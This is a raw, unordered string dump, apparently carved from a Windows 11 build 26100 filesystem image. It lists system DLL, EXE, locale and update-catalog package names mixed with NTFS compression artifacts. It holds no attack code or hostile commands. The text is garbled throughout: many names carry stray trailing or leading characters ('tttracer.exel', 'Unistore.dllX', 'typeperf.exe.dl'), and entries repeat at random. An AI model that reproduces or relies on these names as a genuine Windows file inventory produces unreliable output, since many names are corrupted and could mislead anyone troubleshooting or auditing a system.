TSpkg.dll TSTheme.exe TSWorkspace.dll tt-RU ttdinject.exe ttdloader.dll ttdplm.dlll ttdrecord.dll ttdrecordcpu.dll TtlsAuth.dll TtlsCfg.dll TtlsExt.dll tttracer.exel tvratings.dll twext.dllll twinapi.appcore.dll twinapi.dll twinui.appcore.dll twinui.dlll txflog.dlll txfw32.dlll typelib.dll typeperf.exe.dl tzautoupdate.dll uniplat.dll Unistore.dllX unlodctr.exe unregmp2.exe untfs.dll UpdateCompression.dll upnp.dll upnpcont.exeX upnphost.dllX ur-PK uReFS.dllll uReFSv1.dll ureg.dlldll url.dll urlmon.dlll usbceip.dll usbperf.dll usbui.dllll user.exelll user32.dlll UserAccountBroker.exeti UserAccountControlSettings.dll UserAccountControlSettings.exe useractivitybroker.dll utcapi.dll uz-Latn-UZ VBICodec.ax vbisurf.ax vi-VNT~ vidcap.axl vssapi.dll vsstrace.dllH vulkan-1.dllH wbem wdigest.dll utcapi.dll utildll.dll Utilman.exe uudf.dllUZ UXInit.dll uxlib.dllZ uxlibres.dll uxtheme.dll uz-Latn-UZ Vault.dllax vaultcli.dll vbajet32.dll VBICodec.ax vbisurf.ax vbscript.dllT vcamp140.dlldll VCardParser.dll vccorlib140.dll VCCORL~1.DLL_cl vcomp140.dll_cl vcruntime140.dll040 vcruntime140_clr0400.dll vcruntime140_threads.dll VCRUNT~1.DLL VCRUNT~2.DLL vdmdbg.dll vds_ps.dll verclsid.exedll vpnikeapi.dll VscMgrPS.dll vssapi.dll vsstrace.dllH vss_ps.dlll vulkan-1.dllH wbem wdigest.dll verifiergui.exe version.dll vfwwdm32.dllT vi-VNT~ vidcap.axl VIDRESZR.DLL virtdisk.dll VirtualSurroundApo.dll vmGuestLib.dlln vmGuestLibJava.dll VMGUES~1.DLLion VMGUES~2.DLLion vmhgfs.dlla VoiceActivationManager.dll VoipRT.dll vpnikeapi.dll VscMgrPS.dll vsocklib.dll vssapi.dll vsstrace.dllH vss_ps.dlll waitfor.exe WalletBackgroundServiceProxy.dll WalletProxy.dll wavemsp.dll wbem wbemcomn.dll wcmapi.dll WcnApi.dlll wcnwiz.dlll wdc.dll wdi.dll wdigest.dll wdmaud.drv wdmaud2.drv SystemSupportInfo.dll Tasks th-TH tree.comign tzres.dll unimdmat.dllX usercpl.dlle ustprov.dllf verifier.dllT vulkan-1.dllH wdscore.dll wevtfwd.dll wincredprovider.dlli Windows.ApplicationModel.dlloxyj (Windows.Devices.HumanInterfaceDevice.dll Windows.Devices.SmartCards.dllyl /Windows.Graphics.Display.BrightnessOverride.dllm .Management.Service.dllrp &Windows.Media.Playback.MediaPlayer.dll Windows.Networking.Proximity.dlldllr Windows.Security.Integrity.dllrs Windows.System.Diagnostics.dllrt 2Windows.System.UserProfile.DiagnosticsSettings.dll winhttpcom.dll winrnr.dll. winusb.dll wlidnsp.dllx wmpdxm.dllly wow32.dllexz wsdchngr.dll WsmWmiPl.dll wlidprov.dllX wlidres.dll WMADMOD.DLL WMADMOE.DLL WMASF.DLL wmcodecdspps.dll wmdmlog.dll wmdmps.dll wmdrmsdk.dllX wmerror.dll wmi.dll wmiclnt.dll wmidcom.dll wmidx.dllll wmiprop.dll wmitomi.dll WMNetMgr.dll wmp.dll wmpdxm.dlll wmpeffects.dll WMPhoto.dll wmploc.DLLl wmpps.dllll wmpshell.dll wmsgapi.dll WMSPDMOD.DLL WMSPDMOE.DLL WMVCORE.DLL WMVDECOD.DLL wmvdspa.dll WofUtil.dll wowreg32.exe wscui.cpll wship6.dll WSHTCPIP.DLLL WSTPager.ax zh-CN zh-TW WsdProviderUtil.dll wsecedit.dll wshbth.dll wshcon.dll wshelper.dll wshext.dll wshhyperv.dll wship6.dll wshom.ocxlL wshqos.dllL wshrm.dllDL WSHTCPIP.DLLL wshunix.dll WsmAgent.dll wsmanconfig_schema.xml WSManHTTPConfig.exe WSManMigrationPlugin.dll WsmAuto.dll wsmplpxy.dll wsmprovhost.exe WsmPty.xslx WsmRes.dllx WsmSvc.dllx WsmTxt.xsl WSTPager.ax wtdccm.dll wtdsensor.dll wtsapi32.dllL wuapi.dll wuceffects.dll wudriver.dllL wups.dll wusys.dll wvc.dll WwaApi.dll zh-CN zh-TW wsnmp32.dll wsock32.dll wsp_fs.dllx wsp_health.dll wsp_sr.dllx WSTPager.ax wtdccm.dll wtdsensor.dll wtsapi32.dllL wuapi.dll wuceffects.dll wudriver.dllL wups.dll wusa.exel wusys.dll wvc.dll WwaApi.dll WwaExt.dll WWAHost.exe WWanAPI.dll wwapi.dll XAudio2_8.dll XAudio2_9.dll XblAuthManagerProxy.dll XblAuthTokenBrokerExt.dll XblGameSaveProxy.dll xboxgipsynthetic.dll XInput1_4.dll XInput9_1_0.dll XInputUap.dll xmlfilter.dll xmllite.dll xmlprovi.dllL xolehlp.dll zh-CN zh-TW Windows.Management.Service.dllrp &Windows.Media.Playback.MediaPlayer.dll Windows.Networking.Proximity.dlldllr Windows.Security.Integrity.dllrs Windows.System.Diagnostics.dllrt 2Windows.System.UserProfile.DiagnosticsSettings.dll Windows.UI.Xaml.Phone.dllrcv winhttpcom.dll winrnr.dll. winusb.dll wlidnsp.dllx wmpdxm.dllly wow32.dllexz wsdchngr.dll WsmWmiPl.dll wwancfg.dll} XpsGdiConverter.dll~ ConfigureExpandedStorage.dll connect.dll ConnectedAccountState.dll console.dll ConsoleLogon.dll ContactActivation.dllor ContactApis.dll container.dlltt $ContentDeliveryManager.Utilities.dlln control.exe convert.exe coreglobconfig.dlls CoreMas.dll CoreMessaging.dllgs CoreMmRes.dlltt CorePrivacySettingsStore.dll CoreShellAPI.dller. CoreUIComponents.dllxe correngine.dllo CPFilters.dllro CredentialUIBroker.exe CredProv2faHelper.dll dui.dll crypt32.dll cryptdll.dllL cryptnet.dllL cryptoss.dllL cryptsp.dll cs-CZG~ ctac.json cy-GB C_G18030.DLL c_GSM7.DLL C_IS2022.DLL C_ISCII.DLL acppage.dll adsmsext.dllall AppContracts.dllV AppxSip.dll AuthExt.dll be-BYT~ bs-Latn-BA !CapabilityAccessManagerClient.dll CertEnrollUI.dll clbcatq.dll cmstplua.dll Configuration CredProvCommonCore.dll cryptsp.dll d3d10core.dll da-DK ddisplay.dllR dhcpcore6.dll Dism dmdskres.dll dmxmlhelputils.dll drvstore.dllF dtdump.exe eapphost.dllF fil-PH is-IS migration ncryptprov.dll nsi.dll pl-PLP~ Speech th-TH wdscore.dll winhttpcom.dll dabapi.dll DaOtpCredentialProvider.dll dataclen.dll DataExchange.dllV davclnt.dll davhlpr.dll DavSyncProvider.dll daxexec.dll dbgcore.dll dbgeng.dll dbghelp.dll DbgModel.dllL dbnetlib.dllL dbnmpntw.dllL dccw.exe.dl dciman32.dllL dcomcnfg.exe dcomp.dll DDACLSys.dllL DDFs DDORes.dll ddraw.dll ddrawex.dll de-DE desk.cplccr devicengccredprov.dll devobj.dll devrtl.dll dfscli.dll dhcpcore.dllT dhcpcore6.dll dhcpcsvc.dllT dhcpcsvc6.dll diagnosticdataquery.dll DiagnosticDataSettings.dll difxapi.dll wininet.dll wininetlui.dll wininitext.dll winipcfile.dll winipcsecproc.dll winipsec.dll Winlangdb.dll WinMetadata winml.dll.d winmm.dll.d winmmbase.dll winmsipc.dlll WinMsoIrmProtector.dll winnlsres.dll winnsi.dll WinOpcIrmProtector.dll winrmT~ winrm.cmd3. winrm.vbsl. winsqlite3.dll winsta.dll wintrust.dllL WinTypes.dllL wkscli.dll Wldap32.dll wldp.dll wmi.dll wmiclnt.dll wmsgapi.dll WofUtil.dll wowreg32.exe wscui.cpll wship6.dll WSHTCPIP.DLLL WSTPager.ax zh-CN zh-TW adsnt.dllns adtschema.dllll AdvancedInstallers advapi32.dlldll advapi32res.dll advpack.dll aeevts.dll aepic.dll af-ZAC~ agentactivationruntime.dll !agentactivationruntimestarter.exe !agentactivationruntimewindows.dll am-ET amcompat.tlb amsi.dllr amstream.dll apds.dllr APHostClient.dllV ApiSetHost.AppExecutionAlias.dll apphelp.dll Apphlpdm.dll appidapi.dll AppInstallerPrompt.Desktop.dll AppLocker AppLockerCSP.dllL AppointmentActivation.dll AppointmentApis.dll appwiz.cpl ar-SAC~ as-IN authz.dllZ az-Latn-AZ bcrypt.dll bcryptprimitives.dll bdaplgin.ax authfwcfg.dll AuthFWGP.dll AuthFWSnapin.dllV AuthFWWizFwk.dllV authui.dll authz.dllZ autochk.exe autofstx.exeSig AutomaticAppSignInPolicy.dll autopilot.dll autoplay.dll avicap32.dll avifil32.dll avrt.dllAZ az-Latn-AZ azman.mscll azroles.dll azroleui.dll AzSqlExt.dll BackgroundMediaPolicy.dll backgroundTaskHost.exe BackgroundTransferHost.exe BamSettingsClient.dll basecsp.dll batmeter.dll bcastdvr.proxy.dll BcastDVRBroker.dll BcastDVRClient.dll BcastDVRCommon.dll bcd.dll BCP47Langs.dll BCP47mrm.dll bcrypt.dll bcryptprimitives.dll bdaplgin.ax CredProvDataModel.dll CredProvHelper.dll credprovhost.dll credprovs.dll credprovslegacy.dll credssp.dll credui.dll credwiz.exe crtdll.dlll crypt32.dll cryptbase.dll cryptdlg.dllL cryptdll.dllL cryptext.dllL cryptnet.dllL cryptngc.dllL cryptoss.dllL CryptoWinRT.dll crypttpmeksvc.dll cryptui.dll cryptuiwizard.dll cryptxml.dllT cs-CZG~ cscapi.dll cscdll.dll cscobj.dll ctac.json ctl3d32.dll cy-GB C_G18030.DLL c_GSM7.DLL C_IS2022.DLL C_ISCII.DLL d2d1.dll d3d10.dll d3d10_1.dll crypttpmeksvc.dll cryptui.dll cryptuiwizard.dll cryptxml.dllT cs-CZG~ cscapi.dll cscdll.dll cscobj.dll cscript.exe csrr.rs ctac.json ctfmon.exel ctl3d32.dll cttune.exe cttunesvr.exe curl.exe cy-GB C_G18030.DLL c_GSM7.DLL C_IS2022.DLL C_ISCII.DLL d2d1.dll d3d10.dll core.dll d3d11.dll d3d11on12.dll D3D12.dll D3D12Core.dll d3d8.dll d3d8thk.dll d3d9.dll d3d9on12.dll D3DCompiler_47.dll d3dim.dll d3dim700.dll d3dramp.dll D3DSCache.dll d3dxof.dll dtsh.dll dui70.dll duser.dll dusmapi.dll dvdplay.exe dwmapi.dll DWrite.dll DWWIN.EXEl DXCore.dll dxdiag.exel dxdiagn.dll dxgi.dll dxilconv.dllF dxmasf.dll DxpTaskSync.dll dxtmsft.dll dxtrans.dll dxva2.dll eapp3hst.dllF eappcfg.dll eappgnui.dllF eapputil.dllF eapsimextdesktop.dll el-GRR~ en-GB en-US es-ES es-MX et-EE eu-ES eventcls.dll expand.exe fa-IR Faultrep.dll fcon.dll fi-FI efswrt.dll EhStorAPI.dll EhStorAuthn.exe EhStorPwdMgr.dll el-GRR~ els.dll ELSCore.dll elshyph.dll elslad.dll elsTrans.dll EmailApis.dll embeddedmodesvcapi.dll en-GB en-US encapi.dll enrollmentapi.dll EnterpriseAppMgmtClient.dll enterpriseresourcemanager.dll ErrorDetails.dll ErrorDetailsCore.dll es-ES es-MX es.dll EsdSip.dll esent.dll esentprf.dllL esevss.dll et-EE eu-ES eventcls.dll expand.exe fa-IR Faultrep.dll fcon.dll fi-FI dhcpcore6.dll Dism dmdskres.dll dmxmlhelputils.dll drvstore.dllF dtdump.exe eapphost.dllF efsutil.dll# eqossnap.dllL execmodelproxy.dll fil-PH framedynos.dll GameChatTranscription.dll gmsaclient.dll hi-IN iashlpr.dll( id-ID imaadp32.acm is-IS jscript9diag.dll KBDARMW.DLL0 KBDCMK.DLLl1 KBDFRNB.DLL2 KBDHE220.DLL KBDINGUJ.DLL Kswdmcap.ax6 migration ncryptprov.dll nsi.dll pl-PLP~ Speech th-TH wdscore.dll winhttpcom.dll hid.dll hidphone.tsp hidserv.dll hlink.dll hmkd.dll hnetcfg.dll HNetCfgClient.dll hnetmon.dll HOSTNAME.EXEX hr-HR HrtfApo.dll HrtfDspCpu.dll html.iecdll httpapi.dll htui.dll hu-HU HvsiManagementApi.dll hy-AM IA2ComProxy.dll ias.dll iasacct.dll iasads.dll iasdatastore.dll iasrad.dll icsxml id-ID imaadp32.acm imagehlp.dll inetcpl.cpl inetsrv InfDefaultInstall.exe InputMethod InstallShield intl.cpl.DL IPHLPAPI.DLL IpmiAL~ irprops.cpl FrameServerClient.dll FrameServerMonitorClient.dll frprov.dll fsmgmt.msce fsquirt.exe fstx.dllll fsutil.exed fsutilext.dll ftp.exe fundisc.dll fveapi.dll fveapibase.dll fvecerts.dllL fwbase.dllx fwcfg.dllax fwpolicyiomgr.dll FWPUCLNT.DLL g711codc.ax ga-IE GameBarPresenceWriter.exexy GameBarPresenceWriter.proxy.dll GameChatOverlayExt.dll gameux.dll gamingtcui.dll gcdef.dll gd-GB gdi32.dll gdi32full.dll GdiPlus.dll genpix.dll gl-ES gmsaclient.dll GroupPolicy GroupPolicyUsers gu-INP~ hdwwiz.cpl he-IL IdCtrls.dll ideograf.uce IDStore.dll IEAdvpack.dll ieapfltr.dll iedkcs32.dll ieframe.dll iemigplugin.dll iepeers.dll ieproxy.dll IEProxyDesktop.dll iernonce.dll iertutil.dll iesetup.dll iesysprep.dll ieui.dll.ac ieuinit.inf ieUnatt.exe iexpress.exe ifmon.dllac ifsutil.dll ifsutilx.dll imapi.dll imapi2.dll imapi2fs.dll ime_textinputhelpers.dll imgutil.dll inetcpl.cpl inetsrv InfDefaultInstall.exe InputMethod InstallShield intl.cpl.DL IPHLPAPI.DLL IpmiAL~ irprops.cpl is-IS jscript9diag.dll KBDARMW.DLL0 KBDCMK.DLLl1 KBDFRNB.DLL2 KBDHE220.DLL KBDINGUJ.DLL KBDKNI.DLLl5 KBDMLT48.DLL KBDOLDIT.DLL KBDSMSNO.DLL KBDTIFI2.DLL KBDUSX.DLLl; Kswdmcap.ax< lo-LA lz32.dlllst= MCCSEngineShared.dll mfaudiocnv.dll mfperfhelper.dll migration mmcndmgr.dll MpeHttpExt.dll msclmd.dll msdtcprx.dll mshtmler.dllV msjtes40.dllV msports.dllG ncryptprov.dll nsi.dll pl-PLP~ Speech th-TH wdscore.dll winhttpcom.dll loadperf.dll locale.nls localsec.dll LocationApi.dll LocationFrameworkInternalPS.dll LocationFrameworkPS.dll LockAppBroker.dll LockScreenData.dll lodctr.exe logagent.exe LogFiles loghours.dllL logman.exel logoncli.dllL lpk.dll lsmproxy.dllL lt-LT luiapi.dll lusrmgr.msc lv-LV lxss lxutil.dllt endarSync MAILCO~1 main.cpl MapConfiguration.dll MapControlCore.dll MapControlStringsRes.dll MapGeocoder.dll mapi32.dlll mapistub.dll^ MapRouter.dll MapsBtSvc.dll MbaeApi.dll mi-NZ mibincodec.dll WofCompressedData $DSC vaultcli.dll $DSC vaultcli.dll WofCompressedData $DSC vaultcli.dll $DSC VAULTR~1.DLL VaultRoaming.dll VaultRoaming.dll WofCompressedData $DSC vbsapi.dll $DSC $DSC System.Net.WebSockets.dll SYSTEM~1.DLL System.Net.WebSockets.dll WofCompressedData $DSC vbsapi.dll vbsapi.dll WofCompressedData $DSC vbscript.dll vbscript.dll WofCompressedData $DSC vbscript.dll $DSC $DSC System.Net.WebSockets.Client.dll SYSTEM~1.DLL System.Net.WebSockets.Client.dll WofCompressedData $DSC VBSSYS~1.DLL vbssysprep.dll vbssysprep.dll WofCompressedData $DSC system.ni.dll system.ni.dll System.ni.dll WofCompressedData $DSC VBSSYS~1.DLL vbssysprep.dll $DSC $DSC SYSTEM~1.DLL system.ni.dll system.ni.dll WofCompressedData $DSC vcamp140.dll WofCompressedData System.Numerics.dll0 SYSTEM~1.DLL System.Numerics.dll WofCompressedData $DSC 1System.Runtime.InteropServices.WindowsRuntime.dll SYSTEM~1.DLL System.Runtime.InteropServices.WindowsRuntime.dll WofCompressedData $DSC System.Runtime.Numerics.dll0 SYSTEM~1.DLL System.Runtime.Numerics.dll WofCompressedData $DSC System.Runtime.Remoting.dll0 SYSTEM~1.DLL System.Runtime.Remoting.dll WofCompressedData $DSC System.Runtime.Serialization.dll SYSTEM~1.DLL System.Runtime.Serialization.dll WofCompressedData $DSC $System.Runtime.Serialization.Xml.dll SYSTEM~1.DLL System.Runtime.Serialization.Xml.dll WofCompressedData $DSC !System.Runtime.WindowsRuntime.dll SYSTEM~1.DLL System.Runtime.WindowsRuntime.dll WofCompressedData $DSC )System.Runtime.WindowsRuntime.UI.Xaml.dll SYSTEM~1.DLL System.Runtime.WindowsRuntime.UI.Xaml.dll WofCompressedData $DSC System.Security.dll0 SYSTEM~1.DLL System.Security.dll WofCompressedData $DSC VCRUNT~2.DLL vcruntime140_1.dll WofCompressedData vcruntime140_1.dll VCRUNT~2.DLL vcruntime140_1.dll WofCompressedData $DSC vcruntime140_1_app.dll vcruntime140_1_app.dll vcruntime140_1_app.dll vcruntime140_1_app.dll VCRUNT~1.DLL vcruntime140_1_app.dll WofCompressedData vcruntime140_app.dll vcruntime140_app.dll vcruntime140_app.dll vcruntime140_app.dll VCRUNT~2.DLL vcruntime140_app.dll WofCompressedData WofCompressedData $DSC VCRUNT~1.DLL vcruntime140_clr0400.dll $DSC WofCompressedData $DSC VCRUNT~2.DLL vcruntime140_clr0400.dll $DSC verifier.dll verifier.dll WofCompressedData $DSC verifier.dll WofCompressedData $DSC version.dll0 version.dll WofCompressedData $DSC $DSC vertdll.dll0 vertdll.dll WofCompressedData $DSC vid.dll0 vid.dll WofCompressedData $DSC VideoDiagnosticUtil.dll0 VIDEOD~1.DLL VideoDiagnosticUtil.dll WofCompressedData $DSC VIDEOD~1.DLL VideoDiagnosticUtil.dll $DSC VIDEOH~1.DLL VideoHandlers.dll WofCompressedData $DSC virtdisk.dll virtdisk.dll WofCompressedData $DSC $DSC virtdisk.dll $DSC $DSC VIRTUA~1.DLL VirtualCameraManager.dll $DSC $DSC VIRTUA~1.DLL VirtualCameraManager.dll $DSC System.Transactions.dll0 SYSTEM~1.DLL System.Transactions.dll WofCompressedData $DSC System.Transactions.dll0 System.Transactions.dll0 System.Transactions.dll WofCompressedData $DSC System.ValueTuple.dll System.ValueTuple.dll System.ValueTuple.dll WofCompressedData $DSC System.Web.dll SYSTEM~1.DLL System.Web.dll WofCompressedData $DSC cMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Windows-Printing-PremiumTools-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat.2i NMicrosoft-Windows-ProjFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat~ XMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat pMicrosoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7824.cat sMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-26200-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat hMicrosoft-Windows-Wifi-Client-Broadcom-Bcmwl63al-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.catcat kMicrosoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat cMicrosoft-WindowsCore-HardwareAccelerators-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat APackage_for_RollupFix~31bf3856ad364e35~amd64~~26100.7840.1.19.cat SRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.2894.cat cMicrosoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat ZMicrosoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat i~62 MRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat HRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat31b HRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat31b FRunlevel-Win4-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat6 FRunlevel-Win4-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat6 ARunlevel-Win4-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0. ARunlevel-Win4-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0. SRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat SRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.2894.cat NRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat NRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat. LRunlevel-Win4-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.catCli LRunlevel-Win4-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.catCli GRunlevel-Win4-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat Runlevel-Win4-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat RServer-Help-Package.ClientEnterprise~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MServer-Help-Package.ClientEnterprise~31bf3856ad364e35~amd64~~10.0.26100.1.cat ZProduct-onecore__Microsoft-OneCore-WSD-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 JRunlevel-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat. NRunlevel-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cata NRunlevel-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cata NRunlevel-Win2-Minimal-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat6Z ORunlevel-Win2-Minimal-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat GRunlevel-Win2-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat MRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat SRunlevel-Win4-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.2894.cat sShared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat lUndocked-Hypervisor-IsolatedVm-SVC-Extension-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat FUserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0v AWin3-DWM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.catli YWindows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat73 XWindows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat1.c dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat dMicrosoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat _Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat bMicrosoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat9 dMicrosoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat bMicrosoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat bMicrosoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat _Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat SMicrosoft-OneCore-ESENT-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catG WMicrosoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat ^Microsoft-OneCore-FileSystem-Support-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat eMicrosoft-OneCore-Fonts-DesktopFonts-Supplement-Hant-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat [Microsoft-OneCore-Graphics-DirectX-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.catz ~f40 \Microsoft-OneCore-Kernel-AppCore-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-OneCore-Kernel-AppCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ZMicrosoft-OneCore-Kernel-AppCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat KMicrosoft-OneCore-LibreSSL-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat NMicrosoft-OneCore-LibreSSL-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat7 UMicrosoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat PMicrosoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat NMicrosoft-OneCore-LSA-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1301.cat 5dea WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat RWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 RWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 ZWindows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catc XWindows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat1.c XWindows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cate~3 hWindows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat kWindows-Defender-AM-Default-Definitions-OptionalWrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat sShared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat lUndocked-Hypervisor-IsolatedVm-SVC-Extension-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat FUserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0v AWin3-DWM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.catli YWindows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat73 UWindows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.catat[ XWindows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat1.c eaoFF MMicrosoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat~1 ^Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catc aMicrosoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ZMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ZMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat UMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat UMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat dMicrosoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat `Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat [Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat 9.cat Package_for_KB5054156~31bf3856ad364e35~amd64~~26100.6717.1.4.cat 